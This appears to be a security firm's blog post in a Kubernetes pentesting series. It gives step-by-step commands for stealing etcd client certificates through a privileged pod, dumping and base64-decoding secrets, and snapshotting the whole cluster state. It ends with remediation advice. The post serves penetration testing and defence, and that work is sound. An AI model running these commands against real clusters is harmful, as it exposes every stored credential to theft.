Kubernetes Pentesting – Part Five: Full etcd Secrets Dump

Introduction

In this 5 part of our Kubernetes penetration testing series, we demonstrate how an attacker with access to the master node can exploit etcd, Kubernetes’s key-value store, to extract secrets, impersonate components, and manipulate live configurations across the cluster.

Building on our previous foothold, a compromised privileged pod and a deployed backdoor on the master node, we now target etcd, the core of the Kubernetes control plane.

What is etcd and How Is It Used in Kubernetes?

etcd is a distributed key-value store used by Kubernetes to manage and persist the entire cluster state, including:

  • Secrets (such as service account tokens and database credentials)
  • Pod and service definitions
  • RBAC policies and roles
  • ConfigMaps, endpoints, and persistent volumes
  • Network policies, node states, and more

It serves as the single source of truth for the Kubernetes control plane.

Kubernetes components like the API server, controller manager, and scheduler continuously read from and write to etcd to reconcile desired and current states. If an attacker gains access to etcd, they can:

  • View and extract plaintext secrets
  • Impersonate system components
  • Tamper with workloads and network definitions
  • Modify, pivot, or delete the entire cluster state

NOTE: Secrets stored in etcd are only base64-encoded, not encrypted by default, unless you’ve explicitly configured secret encryption providers.

Video Walkthrough

RBT Security’s Kubernetes Lab Infrastructure

Step-by-Step Exploitation

Step 1: Install etcdctl and kubectl (client tools)
wget https://github.com/etcd-io/etcd/releases/download/v3.5.20/etcd-v3.5.20-linux-amd64.tar.gz
tar -zxvf etcd-v3.5.20-linux-amd64.tar.gz
cp etcd-v3.5.20-linux-amd64/etcdctl .
chmod +x etcdctl
wget https://dl.k8s.io/release/v1.30.11/bin/linux/amd64/kubectl
chmod +x kubectl
./kubectl version --client

Step 2: Access the Master Node

Assuming you have already compromised a privileged pod and deployed a reverse shell or implant, you can now interact with etcd directly from the master host. For this scenario, we simulate an attacker who reached the master node via prior RBAC abuse, use of the --privileged flag, or container privilege escalation (see Part Three or Part Four).

Malicious YAML File

Using the below YAML file, we will force the new POD to mount the path of th TLS certificates needed to interact with the distributed key-value store (etcd).

apiVersion: v1
kind: Pod
metadata:
  name: kubernetes-pentest-part5
  labels:
    app: kubernetes-pentest-part5
spec:
  hostNetwork: true
  nodeName: master
  containers:
  - name: etcd-master-compromise
    image: hackingkubernetes/api:latest
    imagePullPolicy: IfNotPresent
    command: ["/bin/sh"]
    args: ["-c", "sleep infinity"]
    volumeMounts:
    - name: hostsvolume
      mountPath: /etcd
    ports:
    - containerPort: 8080
    securityContext:
      privileged: true
  volumes:
  - name: hostsvolume
    hostPath:
      path: /etc/kubernetes/pki/etcd/

Once inside the new POD, we need to list the secrets.

./kubectl get secrets
Step 3: Collect TLS Client Credentials

etcd requires client certificates for secure communication. Kubernetes stores them under /etc/kubernetes/pki/etcd/. By copying these files, an attacker can authenticate to etcd as a trusted client.

mkdir etcd
cp /etcd/ca.crt etcd
cp /etcd/healthcheck-client.crt etcd
cp /etcd/healthcheck-client.key etcd

cd etcd
chmod +x healthcheck-client.key

Kubernetes stores etcd client certificates on the master node.

These files typically include:

  • ca.crt
  • healthcheck-client.crt
  • healthcheck-client.key


Copying these files allows authenticated queries against the etcd API.

Step 4: Authenticate and Query etcd

etcd uses mutual TLS for secure communication. With the certificates above, an attacker can authenticate using. etcdctl

export ETCDCTL_API=3

./etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=ca.crt \
  --cert=healthcheck-client.crt \
  --key=healthcheck-client.key \
  get / --prefix --keys-only

This command lists all keys stored in etcd.

Step 5: Dump Secrets from etcd

By default, Kubernetes stores secrets as base64-encoded values, not encrypted. Unless encryption providers have been configured for the API server, an attacker who can read etcd can decode and use those secrets.

ETCDCTL_API=3 
etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=ca.crt \
  --cert=healthcheck-client.crt \
  --key=healthcheck-client.key \
  get / --prefix --keys-only |grep 'kubernetes-pentest-part5-password'
Step 6: Extract Base64 / Printable Chunks from the etcd Blob
$SUDO_PREFIX 
etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=ca.crt --cert=healthcheck-client.crt --key=healthcheck-client.key \
  get /registry/secrets/default/kubernetes-pentest-part5-password \
  | sed -n '2,$p' \
  | strings \
  | grep -Eo '[A-Za-z0-9+/=]{8,}' \
  | while read -r B64; do echo "--- trying: $B64 ---"; echo "$B64" | base64 -d 2>/dev/null && echo; done
Step 7: Snapshot the Entire Cluster

To exfiltrate the full cluster state, generate a snapshot of etcd:

ETCDCTL_API=3 
etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=ca.crt \
  --cert=healthcheck-client.crt \
  --key=healthcheck-client.key \
  snapshot save etcd.db

This .db file contains everything from workloads and tokens to RBAC rules and persistent volumes.

Step 8: Extract Secrets from etcd.db Snapshot
strings etcd.db | grep -i password
strings etcd.db | grep -i P4ssw0rd123@

Search the saved snapshot for credentials or tokens using strings and grep

Real-World Impact

A single node compromise, combined with access to etcd client certificates, gives an attacker:

  • Full read access to all Kubernetes secrets
  • The ability to dump the entire cluster state
  • Power to impersonate system components
  • Authority to manipulate pods, services, and RBAC rules

All of this is possible without accessing the API server or being restricted by Kubernetes RBAC.

Conclusion

Immediate Actions (Within 24 Hours)
Rotate all exposed credentials, including service account tokens, database passwords, and TLS keys. Revoke and replace any compromised etcd client certificates. Enable secret encryption at rest using Kubernetes encryption providers to ensure sensitive data is stored securely. Regenerate cluster TLS assets using kubeadm certs or an equivalent method to re-establish trust across the control plane.

Short to Mid-Term Actions
Monitor and alert on suspicious etcd activity, such as mass queries or the creation of snapshots. Review and restrict file system permissions on the etcd directory, ensuring only root or trusted Kubernetes services have access. Validate that no containers can access the host filesystem or sensitive directories, including the etcd certificate paths.

Long-Term Strategy
Audit and refine all RBAC policies to enforce the principle of least privilege across pods and service accounts. Implement Pod Security Admission (PSA) or legacy PodSecurityPolicies to prevent unauthorized privilege escalation. Regularly rotate etcd client certificates and configure short certificate lifespans. Where possible, run etcd on dedicated infrastructure to isolate critical control plane components and minimize the risk of lateral movement.

What’s Next?

In Part 6 of this series, we will analyze and exploit exposed Kubernetes Dashboards. We’ll demonstrate how attackers can discover misconfigured or unauthenticated dashboards, gain access to cluster resources through the web interface, and escalate privileges using available service accounts and workload controls.

References

Share the Post:

Table of Contents

Subscribe To Our Blog

Light